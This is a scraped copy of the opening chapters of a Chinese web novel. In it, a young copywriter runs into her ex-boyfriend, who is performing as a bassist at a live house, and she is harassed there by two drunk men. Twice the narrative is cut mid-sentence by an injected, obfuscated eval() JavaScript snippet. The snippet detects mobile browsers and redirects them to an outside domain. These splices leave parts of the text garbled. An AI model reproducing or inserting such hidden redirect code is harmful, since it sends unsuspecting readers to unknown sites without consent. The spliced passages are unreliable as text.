《为了让前女友后悔》 1. 01 《为了让前女友后悔》 2025.5.13/山月见青 晋江文学城独家 第一章 圣诞节,雪夜,周六。 晚上七点,明翊准时出现在万达广场附近的地铁站等待好友钟以晴。 连着加班加了两个周末,拼命如她都有点受不了这样的苦逼生活,闺蜜钟以晴放出大话,说要趁着这个休息日带她好好放松放松。 放松这事明翊是不指望她的,毕竟这人的爱好和自己八竿子打不着,一切年轻人喜欢的新潮东西她都沾,而明翊对此恰恰相反。 她只是不想在今天这种日子还窝在出租屋里发霉。 低头看了眼手表,已经七点十五。 如今唯一的指望就是钟以晴能在七点半之前赶到,不然等她到来只会收获一具已经冻僵的冰雕。 夜晚的霓虹灯渐次亮起,一串一串缠绕在临街店铺悬挂的招牌上,五光十色,十分亮眼,将过往行人的面孔也染上花花绿绿的鲜艳色彩。 圣诞夜,街上人多得不像话,一不小心就会走散。具体位置钟以晴没说,如今明翊也不好擅自走开。 等得无聊,她掏出手机开始打保卫萝卜。 明翊这人几乎没有什么娱乐方式,除了工作、看书之外就是补觉,玩这个纯粹是为了解压。如今已经打到第六张图末尾,正卡在最新一关。 身旁有人经过,好巧不巧往她身上撞了一下,也没道歉,甚至还不怀好意地吹了声口哨。 明翊有些恼火,抬起头,对上一张流里流气的脸。 她一猜这人就是故意的。 明翊人长得好看,是那种看上去温柔无害、会给全世界好脸色的女孩儿,除了因为过于瘦削多了点儿清冷疏离的气质外,整个人看上去完全没有任何攻击性。因此总有人想着欺负她一下,笃定了这种长相的女孩子往往没什么脾气。 眼前这人也是同样的想法。 从车厢里就开始鬼鬼祟祟跟着她,本以为是顺路,结果出了站照旧在附近徘徊不去,隐约还能看到对面拿出手机对准这边。 火气已经快持续了一路,因为懒得惹事,自己又包裹得很严实,起初明翊还没有追究的想法,但现在是真的有点忍不了了。 对面染着一头黄毛的男人冲她笑,露出一口被烟熏过的黄牙:“美女,一个人啊?走,请你喝一杯?” 明翊倒是没想到今天这幅打扮也能引来‘艳遇’: 每逢换季她总是容易过敏,此刻脸上罩着个大号的黑色口罩,完全看不出样貌,穿的也是没来得及换下的工服,整个人平凡到丢进人堆里也不会有人注意。 但可能是人倒霉了喝凉水都会塞牙,她不知道自己到底是哪里吸引了苍蝇。 碰上这种事总是令人厌烦,但意外的,或许是因为连日的工作,心里反倒生不出多少愤怒的情绪,只觉得有些好笑。 黄毛在对面女人的淡笑声中微微愣神,紧接着,又听那边冷声骂了句:“喝你爹。” “……” 趁着对方还没反应过来,明翊果断切出游戏,打开相机对着黄毛的脸就是一顿拍,开闪光灯并且自带巨大声音的那种。 咔嚓—— 接连拍了几张之后,黄毛终于反应过来,脸色忽变。 就要扑上前。 明翊握着雨伞快退几步,快速切到录像,神情寡淡,声音却一如既往的平淡而温和:“对,就是这样,你做的特别好,又是尾随又是偷拍。一会儿去派出所可以直接立案了。” 她可不是什么娇滴滴的小白花,这人要是再往前一步,专门买来防身用的铆钉链条包很快就会出现在他脸上。 地铁站附近人流量大,周围人潮如织,被明亮的闪光灯一晃,这会儿正有几人向他们这边投来探究的目光。 明翊也是佩服他,大庭广众之下搞这套小动作,也就欺负欺负那些忍气吞声不敢声张的女孩,而她显然没有这个打算。 “刚刚故意往我身上撞,撞得开心吗?”她微笑。 围观路人迅速反应过来,这是耍流氓被人姑娘给逮了。 黄毛盯着对面那双笑眯眯的眼,没想到瞧上去跟个包子似的,却是个硬茬。 他脸色不善地伸手一指,又威胁:“记住你了,把你手机里照片给老子删了,不然等着瞧!” 放完狠话,推开人群转身就走。 堵在地铁口的人流逐渐散去,明翊跟他们点头道了谢,站到一旁继续保护萝卜。 切出去的时间太长,游戏重新加载,原本今晚最有可能通关的噩梦关卡转眼就功亏一篑。 …真是有够倒霉的。 她认命收起手机,叹了口气。 地铁站斜对面是一座公交站台,二者中间隔着条宽阔的柏油马路,相距不过六七米。最近一趟92路公交车进站。 明翊听见熟悉的报站声,这辆车往返于市中心和滨江大学之间。她以前没少坐。 乘客一个接一个下车,她漫不经心扫过去一眼,看到从车上下来几个打扮得格外抢眼的男孩。 似乎是一群大学生。时髦的挑染发色,又酷又拽的铆钉外套,一眼看过去就不好惹,像是会和刚才的黄毛很有共同话题。 明翊将这类鬼火少年通通归类为城市杀马特。 正要收回视线,倏然,目光一凝。 队伍末尾那人,似乎是有些眼熟…… “笑笑!” 肩上被重重一拍,她一个激灵,回过头正好对上钟以晴明媚的笑脸。 明翊顿感无语:“你以后能不能别这么喊人了,好好的财运都要被你给拍走了。” 钟以晴不以为意。 “你看什么呢?这么入神,刚离老远喊你你都没听见。” 明翊愣了下,再回头看,那群人已经消失不见。 “没谁,大晚上的,可能不小心见鬼了吧。”她随口敷衍。 对这毫不避讳的讲话方式见怪不怪,钟以晴又点了点她脸上的口罩:“怎么了这是,又过敏了?” 明翊点点头。 钟以晴心疼地捧住她的脸:“唉,可惜了。本来还指望借你这张脸好好撩个帅哥,这下全泡汤了。” “…所以你约我出来是为这?” 钟以晴嘿嘿笑:“哪能啊,我是看你刚来滨江定居不好好休息却只顾着工作,又情伤未愈,想着帮你扩展一下社交圈别老是闷在家里打那个破保卫萝卜了。” “萝卜都受不了了!” “实在不行姐带你包两个男人,你狂揍他们一顿就当是出气了。” “……” 说完,钟以晴当即挽着明翊的手往里走,却被她左手握着的折叠伞给硌了一下。 “大晚上的,你拿着个雨伞干嘛,新的时尚单品?”钟以晴纳闷,“和你这美女的氛围也不搭啊。” 被这突然的吹捧给噎了下。 默了有那么几秒明翊才道:“天气预报说,今晚有雨。” “哪门子的天气预报,我怎么没收到?” “滨江市政的,会直接发到你短信收件箱里。” 钟以晴对这事没兴趣,拉着明翊直接拐进了步行街,表情里是掩盖不住的兴奋。 “快走快走,八点半就要开场了,我同事说这个乐队的乐手长得超帅!” 明翊不置可否。 钟以晴口中的帅往往有待商榷,明翊总疑心她这人多半眼光有问题,要不然不至于跟李澄那种人交往。 比闺蜜恋爱脑更可怕的是什么? 是她找了个普男谈恋爱,还非要拉着你夸他帅。 圣诞夜,街上到处是难舍难分的小情侣,挤得水泄不通。 明翊看了一圈,今天总算是没瞧见钟以晴那河童男友。 “李澄呢?” “他说他今晚要加班,就不陪我了。正好,咱姐俩儿去放纵哪儿能带着男人是吧!” “今晚可是圣诞,他不陪你过?” 明翊觉得奇怪。 钟以晴倒是心大,一点儿也不在乎:“管他呢,最近这死东西也不知道是怎么回事,三天两头加不完的班,不过正好,我自己也能玩!” 明翊直觉不对,她对这种事总是很敏感。 不是不看好姐妹的爱情,只是身上就像是装了某种专门针对感情的警报器,一有不好的征兆就会嘀嘀作响,不战而逃。 更准确来说,是她对所有的感情都不那么笃定,也不抱任何期待。 明翊本想好心规劝两句,但看钟以晴这幅兴冲冲的模样,还是决定暂时不要扫兴,等过完圣诞再说。 二人的目的地是万达广场对街的一家小型LiveHouse,据说刚开业不久。 钟以晴的同事是乐队狂热粉,乐意刷各种小型演出,囤了不少票,无奈今天要去隔壁市见异地女友,于是这票就落到了她手里。 明翊对此类活动并没有多少兴趣。 她今天出门是为了跟闺蜜吐槽一件奇葩事—— 手机里沉睡已久的前男友,诈尸了。 * 事情的起因是在半月前,某个加班加到昏厥的夜晚。 明翊从滨江大学毕业后并没有选择继续深造,尽管她的成绩在旁人眼里看来不读研属实是有些可惜了,但出于种种原因,还是选择了直接就业。 玩趣科技在滨江算是个不大不小的厂,主营各类文娱游戏,明翊专业对口,今年十月份通过社招进入了旗下一个名为《洛川夜行录》的游戏项目组负责文案撰写工作,实习工资税后六千左右。 年末的游戏公司忙成狗,活动一个接一个出,铁打的身体也扛不住,满打满算这个月也只休息了一天半。 这天,明翊抱着保温杯在电脑前疯狂加班。 保温杯里泡的是感冒冲剂,她前几天淋了雨不慎感冒,仰头一口气喝完后,又看了眼办公室的挂钟。 时间已经接近凌晨一点,而电脑里的文稿是反复修改的第六版。 某个流传已久的都市传说真的很在理,人一加班就容易爆炸,亲和力包容力通通下降,转而变成一个无所畏惧的纯恨战士。 更别提她还生着病。 那一刻,明翊觉得自己不是在工作,而是在上坟,心里埋了好多人。 消息提示音就在这个当口飘进来,不得不说一句是真的很会挑时机。 那是一条朋友圈提示,显示有人提到了她。 明翊点进去时还有些纳闷,她已经快大半年没发过朋友圈,和朋友联系也大多通过微信小窗。 除了钟以晴是个朋友圈狂魔,什么事都要在朋友圈里晒过一遍,剩下的大部分好友跟她一样,半年难得发一次圈。 更别提主动艾特她。 所以,会是谁呢? 抱着这样的疑问点进去。 三秒后,界面刷新,出现一张照片。 映入她眼帘的是一张合照。 照片里的女孩子笑容乖巧,看上去很可爱,年纪似乎还小。女孩儿歪着头,唇角正翘起浅浅的弧度,笑容明媚地冲着镜头比耶。 明翊莫名觉得有些眼熟,可确实是陌生的面孔。 坐在女孩儿身侧的男人脑袋半侧,围在颈侧的浅褐色小熊围巾却没能让他那与生俱来的锋芒收敛半分,仍旧难掩身上那过分招摇的桀骜气质。 眉头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765345|174557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧紧蹙着,没看镜头,只微微露出一张没什么表情的侧脸。 但明翊还是一眼就认出了这人是谁。 越之扬。 两人面前摆着刚吃完的火锅,挨得很近,这距离应当算亲密。 一眼看过去,就能猜到是在约会。 底下一串热火朝天的评论:99。 她微不可察地皱了下眉,没再细看,很快切出去。 在工位上愣了一会儿,明翊再次点开,看着这条朋友圈左下角显示的:提到了你。 越看越晦气,心里一阵来气。 越之扬这是做什么? 和新女友官宣就官宣,带她干什么。 光在朋友圈发合照不够,还要特意来点她一下,是打算让自己这个前女友成为他们两官宣play的一环吗? 神经病。 她暗自骂了一句,又把心里那口专门为某人准备的坟默默刨深了些。 * “我靠,这人谁啊,这么缺德?” 连钟以晴都听愣了,可见她这个前男友有多没道德。 “除了那傻缺还会有谁。” 钟以晴是知道她有个男朋友的,但也仅限于知道有这么个人存在。 明翊人情味很淡,很多时候都像是和这个世界不熟,边界感很强。如果别人不主动问起,很少会向旁人透露自己的近况。 所以直到分手后,钟以晴才震惊地得知,好闺蜜居然有了男朋友! 明翊出言纠正:“是前男友了。” 当时的钟以晴毫不怀疑,明翊肯跟她说起这件事绝对是因为那男的得罪了她,不然以她的性格,这种鸡毛蒜皮的小事根本不会被提起。 告诉自己,也只是为了多个人一起谴责渣男。 如今看来—— “你那前男友确实有够傻缺的哈,感觉脑子没发育完全,疑似少根筋……” 钟以晴好奇问:“那你是怎么回的,总不能他缺德他就有理吧?” 明翊俯身凑到她耳边。 三秒钟后,钟以晴爆笑出声。 LiveHouse门前正大排长龙,队伍前后的人闻声纷纷看过来。 明翊轻轻拍了一下钟以晴,知道她不是很喜欢引人注意,钟以晴很快压低声音,捂着唇笑倒在她怀里。 “论缺德还得是你啊!” 明翊将手重新塞回大衣口袋。 那天她是怎么回的呢? 其实很简单,有人恶心你,你用更恶心的方式膈应回去就行。 积攒了一天的怒气值在收到那条朋友圈提示时瞬间达到顶峰。于是,她面无表情地在手机上敲了两下,评论道: 「美女与狗殊途」 钟以晴笑得停不下来:“那傻缺什么反应啊?” 明翊耸耸肩:“不知道啊。” 她懒得再管这些事,本来加班就烦,还有人存心找晦气。按明翊的性格,没私信去骂越之扬,已经算是她难得的好脾气了。 队伍缓慢向前行进,有些无聊。 被钟以晴这么一提,倒是真有点好奇越之扬的反应了,明翊拿出手机,点开这人的朋友圈,刷新。 却没再翻到那条朋友圈。 最新一条是则乐队宣传海报,从别人那儿直接转发过来的。 等待的间隙,钟以晴又问:“对了,你那新房子怎么样,这回不吵了吧?” “挺好的,我现在一个人住。”她收起手机,“清水湾那片儿离公司也近,2号线直达,平时还可以睡个懒觉。” 钟以晴笑着说:“那就好,按你之前跟我提的那情况,我都担心你继续住下去会精神衰弱。” 明翊扯了扯唇,没再吭声。 没多久,队伍就排到了二人。 门口的安检人员递给她们两个小小的淡黄色手环,钟以晴抢先道:“这是带在手腕上的。” 明翊点点头,垂眸随意看了眼。 手环上刻着几串很复杂的字母,花体字,漂亮归漂亮,但直到进门她也没能分辨出这家店究竟叫什么名字。 就像刚刚吐槽过的花里胡哨一番骚操作却不堪大用的前男友。 LiveHouse内里光线昏暗,有五彩霓虹灯无声切割着众人视线,音响声开得巨大,正在放劲爆的开场乐。 一层中央搭建着一个小型舞台,上头摆了些架子鼓之类的乐器,场地四周空旷干净。 “一层演出蹦迪,二层有卡座,你想去哪儿?” 明翊二十多岁的年纪,六十多岁的身体,参加这种活动是万万不能的,生怕把自己一身骨头给蹦散架了。 她果断选择二楼。 服务生领着二人去二层开了卡座,上了些果盘零食,又各自点了杯饮料。瞧见钟以晴一脸雀跃模样,明翊开口:“以晴,你想蹦就撒开了欢的玩去吧,不用管我。” 钟以晴不放心她一个人。 “我先在上面坐一会儿再说,蹦不蹦视这个乐队的颜值而定,只有帅哥才值得我挥洒汗水。” 时钟很快指向八点,一层舞台边缘陆续站满了人。 劲爆的开场乐戛然而至,场地里倏地一静。下一秒,舞台灯光骤然亮起,看台四周响起潮水般沸腾的欢呼与尖叫声。 这么大阵仗? 明翊好奇地抬眼望去,只见一行人陆陆续续走上搭建的舞台,一个个奇装异服,又酷又拽。 居然是半个小时前在公交站台附近看见的那群人。 等等,那不就说明…… 这瞬间,她的目光定住。 靠。 还真的是,白日见鬼。 前男友诈尸了。 2. 02 这家LiveHouse是酒吧改建而成,场地内光线昏暗,舞台灯光却明亮。 此刻乐队众人登场,一行五人,明翊看到架子鼓手左侧站了个人。 一身黑,存在感却极强。 松松垮垮的铆钉外套没个正形一般挂在他身上,破洞牛仔裤包裹长而笔直的双腿。这人身形高大,此刻脑袋微偏,正弓着腰背和身侧坐着的鼓手交流。 在场这么多颜色各异的挑染,唯有他的发色是纯粹利落的黑,于是冷白的皮肤更加显眼,无声抢夺场内众人视线。 头顶的彩灯落了几道阴影在他脸上,勾勒出青年锋利冷硬的下颌线,这人冲鼓手微一点头,戴着纯黑半指手套的右手随即扣在弦上。 一触即发。 下一秒,低沉的贝斯音伴着鼓声一同奏响,漫天彩带自上而下纷纷扬扬地散落。 夜晚似乎在此刻才正式宣告开场。 明翊坐在看台,周遭的一切都与她格格不入,满场沸腾通通被隔绝在外。 她只是紧盯着底下那个站在聚光灯之下的人。 场景像是开了慢放,一个重音,青年随之扬起头,始终被笼罩在暗影里的一张脸终于显露真容。 眼瞳漆黑,乌发浓眉,脸上一贯的没什么表情。淡色的唇紧抿,气焰显得格外嚣张、又不好惹—— 不是越之扬是谁? “我去,这人谁啊?还挺带劲儿的!他弹的是贝斯还是吉他?要我说咱姐俩儿今晚可真是来对了!” 身侧的钟以晴犹自兴奋着,音调扬得很高,语气里难掩激动。 在这一刻明翊很有上前去捂她嘴的冲动。 转念一想,这鬼地方吵成这样,人又多得要死,现在就算是她站起来冲着舞台方向大骂,越之扬也不会听到。 或许是加班加到精神错乱,明翊这才想起,前不久刚刚吐槽过的傻缺前男友,好巧不巧,也是玩乐队的。 还是个贝斯手。 “他弹的,是贝斯。” 额角不受控般突突跳着,明翊很难用语言准确描述出此刻的自己究竟是怎样一个复杂心情。 谁成想随口的吐槽能一语成谶,说见鬼就真的见鬼。 钟以晴很快发现不对。 “这人你认识啊?” 愣了两三秒,明翊才略带迟疑地点点头。 钟以晴的眼睛很快亮起来:“谁啊谁啊,有联系方式吗?” 明翊拿起桌上的气泡水灌了一口,发紧的喉咙这才稍稍觉得放松了些。 想了老半天,她自觉忽略钟以晴的后半句话,只补上一句:“…校友。” 不光认识,还谈过呢。 明翊和越之扬曾交往过一段时间,不短不长,恰好快两年,几乎快占据她半个大学生涯。 二人在今年初夏前后分的手,是她主动提的。 大学情侣,一毕业就分手这很正常,周围人几乎都是这样,更何况明翊还有更加正当的理由。 她起初并不打算留在滨江,而是要回家乡江宁发展。 对于越之扬这个人,明翊的感情其实很复杂。 她对他们的分手早有预料,一开始也没抱着多认真去谈的想法,毕竟越之扬这个人就长了那么一张脸。 用钟以晴现在的话来描述,就是—— “哎,帅倒是帅,就是瞧着怎么有一种‘长期招女友,但不招长期女友’的感觉……” 明翊噗嗤一笑,听乐了。 不得不说能成为密友大多在某方面有着相似的共通点,此刻钟以晴的感叹和两年前的自己高度重合。 明翊见到越之扬的第一眼,就觉得这人长了一张花心的渣男脸,并且是脾气不好、很难伺候的那种类型。 整个人又傲又拽,也不知道一天天的在狂些什么。后来事实证明也确实如此,对于能和越之扬顺顺当当谈两年恋爱这种奇葩事,她现在想起来都觉得匪夷所思。 但好在,分手分得很顺利。 双方都不是拖泥带水的人,她提分手打包行李连带搬出去只用了不到一个下午。那天话说到一半越之扬有事出门,但在此之前,明翊也曾心平气和地和他提过几次类似的话题,越之扬没什么反应。 他这个人,没反应的意思大概就是: 我不在乎,你随便怎么搞都成,只要别把麻烦惹到我头上。 几乎可以说是相当于默认。 所以在明翊看来,他们应当算是并不友好的协商之后的‘和平分手’。 那他前几天诈哪门子的尸呢? 谈了恋爱,所以特意来她这个前女友面前炫耀? 这人什么毛病。 幼不幼稚,难不成还指望她这个穷鬼能给他们两人点个香槟塔助助兴? 明翊百思不得其解,很难将那条用心险恶的朋友圈和底下那个光鲜亮丽的人联系到一块。 正出着神,膝上忽然一重。 下意识垂眸,又和面前湛蓝色的小猫眼四目相对。 明翊不自觉顿住。 钟以晴惊喜道:“哎呀!哪里来的猫猫,这家LiveHouse够潮的啊,还养猫呢。” 二层的光线并不如底下那般明亮,因此明翊不是很能准确辨认出这猫是什么品种。但似乎是很粘人的类型。 跳上她的膝盖后就一个劲地在腿上蹭啊蹭,见人没什么反应,又伸出爪子去揪她的毛衣,作势就要往怀里钻。 “这猫好像快长你身上了。” 钟以晴捂着嘴笑,明翊很轻地皱了下眉,转眼就扼住了猫猫命运的后脖颈,将那猫往出拉了拉,语气迟疑地问:“…它这样没问题吗,是不是身上痒?” “……” 钟以晴:? 顿了三秒,钟以晴恨铁不成钢:“你这个不懂接受猫猫馈赠的女人!算了,咪咪,过来姐姐这里玩儿!” 她刚伸出手,那白猫就一个猛子蹿上了桌。 紧接着,搁在玻璃台右侧的饮料应声而倒,冰块洒了一桌。 酒水顺着边沿稀稀拉拉地往下落。 明翊:“……” 钟以晴:“……” 场面静止了有两三秒。 犯罪嫌疑猫很快落荒而逃。明翊默默收回眼,若有所思:“所以这也是…猫猫的馈赠?” 钟以晴瞬间没了气势:“……” 服务生来得很快,那男生瘦瘦小小,戴个黑框眼镜,一头小卷毛,瞧上去年纪不算大。将桌上洒落的酒水收拾干净,又一脸谨慎地冲二人道歉。 “抱歉啊两位客人,这是我们店的失误,调酒师那边已经在重做了。” “另外,这桌给您免单。” 碰翻的那杯饮料是明翊的气泡水,价格并不算贵。 这也不是什么值得免单的大事,同为打工人,她很能理解对方的心情:“不用这么麻烦,重做一杯送过来就好。” 钟以晴也没意见,又忍不住好奇:“你们店还养猫啊?是不是网上说的那种宠物友好型LiveHouse,那我下次可以带我家狗过来玩吗?” 小卷毛一顿,忙解释。 “不好意思啊,这不是我们店里养的猫,而且这种场合,对宠物的听力可能会有损伤,所以还是不太建议您带过来。” 服务生很快离开。 略过这个小插曲不提,场内的气氛依旧热闹而盛大。 这边的动静本就不算大,在音响声的掩盖下更是微不足道,几乎没多少人注意。 钟以晴的兴趣也很快转移,俨然已经被底下的男色给冲昏了头脑。 犹豫半晌,明翊纠结到底要不要把她如今赞不绝口的帅哥,就是三十分钟前二人在LiveHouse门前痛骂过的脑子缺根筋的傻缺前男友这一残忍事实讲出来。 最终还是决定不要。 钟以晴看帅哥纯粹是看个热闹,光过眼瘾,虽然胆子很大,但目前感情状况也算稳定,还没显露出想要脚踩两条船的征兆,而她没有和越之扬叙旧的打算。 滨江市很大,今晚的偶遇不过是一段小插曲,回去加个班就能抛之脑后,不必放在心上。 更何况—— 知道他在这里演出,明翊以后应该都不会再来了。 * 上半场很快结束,中场休息时间,钟以晴跟她打了个招呼,欢快地加入了蹦迪队伍,站在一层圆形舞池的外围招手,整个人兴奋到不行。 明翊无奈一笑,象征性抬起手挥了挥。 小卷毛趁着这间隙重新上了饮料,又诚惶诚恐地再次道歉,说已经将猫锁在后台。 明翊对这处理方式没什么异议,只好心提醒了句,最好还是不要把宠物放进这种分贝过大的场合。 那边连连应好。 离开前,服务生似是低声咕哝了句:“真服了,扬哥怎么又把他那小祖宗带过来……” 这声音不大,但此刻场地内没了劲爆的摇滚乐,稍显安静。 明翊的听力又敏锐,下意识就入了耳。 她对这种私底下抱怨老板的行为没什么意见,人之常情罢了。 只是他口中的这个扬哥,总让人觉得有点不妙。 而小祖宗…… 这亲昵的称呼,也很难不让人联想些什么。 杯子里的液体是透明的淡粉色,漂亮又柔和,明翊瞥了眼舞台方向,越之扬还站在台上,正垂头调试乐器。 她收回眼,一口气将饮料整杯灌下去。 在原地坐了一会儿,又重新叫来服务生,将二人的账单一起结清,明翊就起身朝卫生间方向走去。 LiveHouse散场时的卫生间堪称灾难,队伍长得跟万米长城有一拼,现在倒是人少,下半场演出正嗨,走廊过道只有两三个人。 明翊在隔间给钟以晴发了条短信,说结束之后在门口的咖啡店碰面。 她在网上刷到过,某些名气大的乐队演出末尾可能会有粉丝福利环节,类似于签售会那种,有的还会站在门口排队和观众互动。 明翊不知道这乐队的名气算不算大、越之扬又有没有这种癖好,但她显然没有散场时和这人狭路相逢、面面相觑的打算。 而且待在这种吵闹的场合,总让她的神经有些莫名紧绷,索性趁着现在人少,早点离开。 钟以晴没回,应该是忙着蹦迪没空看手机。 这样正好,明翊不打算扫她的兴。 在卫生间待的时间有些久,处理好一切出来时,女厕已经没什么人了。洗手池就在门口,男女共用,大概两三米宽。 明翊拧开水龙头,对着镜子理了理头发,隐约听见男厕那边传出些动静。 “挠啊,怎么不挠了?刚才不是还想挠老子脸?” “操——” “这畜生,把它丢便池里淹死!” 刺耳的谩骂声中,还夹杂着几道微弱的猫叫。 她愣了下,心里微微一沉,就朝那边走去,又冲着里头大声喊:“你们在干什么?” 内里的响动明显一静。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765346|174557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>过了有两三秒,对面男厕很快出来一人,明翊瞧见这人一头黄毛,流里流气,是地铁站口曾骚扰过她的男人。 怀里还掐着只蓝眼白猫。 双方都有些愣神。 明翊很快收敛起眼中的错愕,沉下脸道:“这是店里的猫,已经有人报警在找了,你最好现在放开它。” “呦,这不是拍我照片那漂亮姐姐吗?” 黄毛见是明翊,当即无所畏惧地几个跨步上前,身后还跟着个男的。 明翊猜测两人应该是一起的,瞧上去都是一副没品的鬼火少年打扮。 她一声不吭,往后退了几步,避开他往自己脸上伸来打算扯下口罩的手。 这里正巧是一个T型结构,两个卫生间的门口正对,走廊狭长又深,远处的通道口处有个拐角,整块区域和一层场地分隔开,除了上厕所几乎没什么人会经过。 明翊觉得事情可能会有点麻烦。 她抬脚往外走,打算去前台找人求助,那二人对视一眼,很快跟了上来。 明翊的手臂被黄毛男抓住朝后重重一扯,肩上的包也跟着滑落。 “美女不是喜欢拍照吗?我现在人就在这了,你拍不拍?” 说罢,他又掂了掂怀里的猫:“而且你不是想救猫吗?怎么这就走了?不要这畜生了?” 男人越凑越近,浑身的烟酒气味冲人。 身后的人跟着起哄,明翊扫过去一眼,瞧见他眼眶通红,明显是也喝了不少。 “就是这位美女啊!” “来来来,再拍一个给我们哥俩看看,让我见识见识美女的手艺。” 她被二人彻底堵在走廊过道。 男人别有深意的眼神在她全身扫过一遍,话语愈发下流:“还是说,美女你喜欢拍点有意思的?我都可以啊!” 明翊扯回手臂,眼神冷冷看向他,像是粘上了什么脏东西。 “让开,不然我报警了。” 但这一次显然没什么威慑力,言语这种东西往往在人多的时候才有力。 恰好有人从卫生间出来,瘦瘦小小的一位女生。 明翊不打算浪费时间在求助弱者这件事上,而且黄毛身后的那个高壮男人当即出言警告。 “别多管闲事。”他嬉皮笑脸,“我们和这美女认识,只是加个微信互相交流一下,对吧。” “你想留下的话可以一起啊?” 明翊冷着脸不答。 对方人多,那女生自身难保,也很快跑远。 二人正盯着女孩儿的背影消失在走廊尽头。 趁着这功夫,明翊瞅准时机,提起包就是一个猛砸,铆钉包结结实实砸在为首黄毛的后脑。 男人痛呼一声,骂了句脏话,就要发飙,怀里的猫猛然跃起,像个小炮弹一样对着那张脸就是一挠。 “操!老子眼睛——” 下一刻,那道白色的身影闪电一般跟着明翊一起蹿进了女厕。 见那猫飞扑进来,她火速关上门反锁,给钟以晴打电话求助。 电话响了有几秒,没接通。明翊这才反应过来钟以晴如今应该正忙着,舞池那边有很大可能听不见手机声响。 隔间的指示牌上标着前台号码,定了定神,她又拨过去。 显示占线。 门口那两人不知喝了多少,在这种场合都敢肆无忌惮地砸门。 卫生间的门被拍得砰砰响,夹杂着几道动静极大的踹门声,明翊不知道舞池那边能不能听到。 音响太吵,大概是不能。 她攥紧包,犹豫着要不要去按警报器。 手边的红色按钮就在一步之遥的地方,尽管并不是很想把事情闹大,但这种时候,情况紧急。 “喵呜。” 像是在安慰她,那猫弱弱叫了一声。垂眸看了眼在脚边磨蹭的小毛球,对上那双淡蓝的眼,明翊的神经竟然奇迹般地放松下来。 “你倒是挺凶的,一点儿亏也不吃。” 她轻轻笑一声,抬手正要按下警报器,就在这时—— 砰。 门板处传来极大的重物撞击声。 与之前又踢又踹的砸门声不同,这声音明显更沉闷厚重,像是谁的身体重重砸在了门板上。 明翊猜测是有人来了。 应当是LiveHouse的安保。 果然,下一秒。 “哎呦我靠,你他妈谁啊——” 门外响起黄毛暴躁的怒骂声,连带着一连串脏话,可他没再嚣张几下,很快便悄无声息消了音,这下只余沉闷的撞击声。 明翊躲在里侧,没有贸然去开门。 她虽然有学一些简单的防身术,但男女之间体力差距过大。她的体格不算健壮,那两人又明显喝醉了酒,不管门外是什么情况,现在出去,都不能保证自己是安全的。 虽然表现得还算镇定,但她心里其实也有点怵。 前台的电话终于接通,明翊压着声音简短说了一下这边情况,叮嘱对方报警,这才走出隔间,四处瞧了瞧,很快在工具桶里挑了个看上去称手的拖把。 外头已经没了声响。 静悄悄的,听上去安静极了,似乎方才的一切都是她今晚精神高度紧绷而产生的错觉。 一片寂静里,忽然响起沉闷的敲门声。 不急不缓,正好三下。 下一刻,明翊听见了无比熟悉的声音,曾在无数个日夜黄昏里喊过她的名字。 “明翊,出来。” 3. 03 明翊曾觉得,越之扬也许并没有很在意她。很多时候,他们之间的相处模式并不像情侣,反倒更像是普通朋友。 单凭一件微不足道的小事就可以论证—— 这都什么年代了,试问哪对小情侣情到浓时没有几个黏黏糊糊的爱称? 她和越之扬之间是真没有。 越之扬很少喊她女朋友,私底下也不说宝贝之类的那些肉麻话,每次有事找她,也只硬邦邦地脱口而出:明翊。 尾调被他拖得很长,声线也总是散漫,一副天塌下来也不会多去在意的模样。 恰如此刻。 那声音低沉又懒散。 尽管已经极力压制,仍旧难掩语气中的那分不耐。 明翊先是有些错愕,怔了那么几秒,才反应过来,越之扬这是在喊她…吗? 他什么时候认出她了? 坦白来讲,明翊现在是真不想再见他,尤其是前不久刚被这人发圈暗讽,如今又英雄救猫反遭殃,被不怀好意的人堵在厕所隔间又无能为力的人生至暗时刻。 明翊讨厌一切狭路相逢的冲突场景。 那感觉就像是把人架在火上烤,逼迫她非要做一个选择。 她擅长切断所有的关系,说不回头就不回头,却并不擅长和已经不要的‘东西’虚与委蛇,在本就岌岌可危的天秤两端维持假意的和平。 在明翊看来,过去了就是过去了。 就像夏天的衣服不能留到冬天去穿,她和越之扬之间也早已结束,那就该奔赴各自人生的下一程,互不打扰。 所以分手之后,她再也没有联系过他。 同样的,也希望对方不要再打扰她。 尽管保存着联系方式,没有走到拉黑那一步,也只希望对方安安分分在列表躺尸,当个逢年过节顶多会客套几句的普通朋友。 至于平时,最好连点赞之类的交集也不必有。 明翊一向把自己的感情收得很好。 如果不是这人手贱提到她的那条朋友圈,她也许根本不会想起他。 敲门声再度响起,笃笃笃几声接连不断,甚至比方才还要急迫,像是在催命,其中还夹杂着几道近似无奈的低语。 “啧,这怎么还有本事锁门了?” “……” 说话一如既往的不中听。 明翊抬眸,目光对上了门口的反光板。 镜面中的人罩着个宽大的黑色口罩,因为过敏的缘故,她今晚几乎全程是这副打扮,也只有在喝饮料时将口罩向下拉了些。走到卫生间,因为想着要离开,她也很快将口罩戴好。 所以,那边其实没理由会认出来。 但刚刚那声‘明翊’,似乎又不是错觉。 此情此景,状况复杂得让人完全摸不着头脑。 门口的敲门声仍在持续,不好再耽搁下去。 明翊有些无奈,抱着也许刚才只是幻听的期待,决定赌一把,她当即扔了手头的拖把。 刺啦一声—— 女厕的门被拉开。 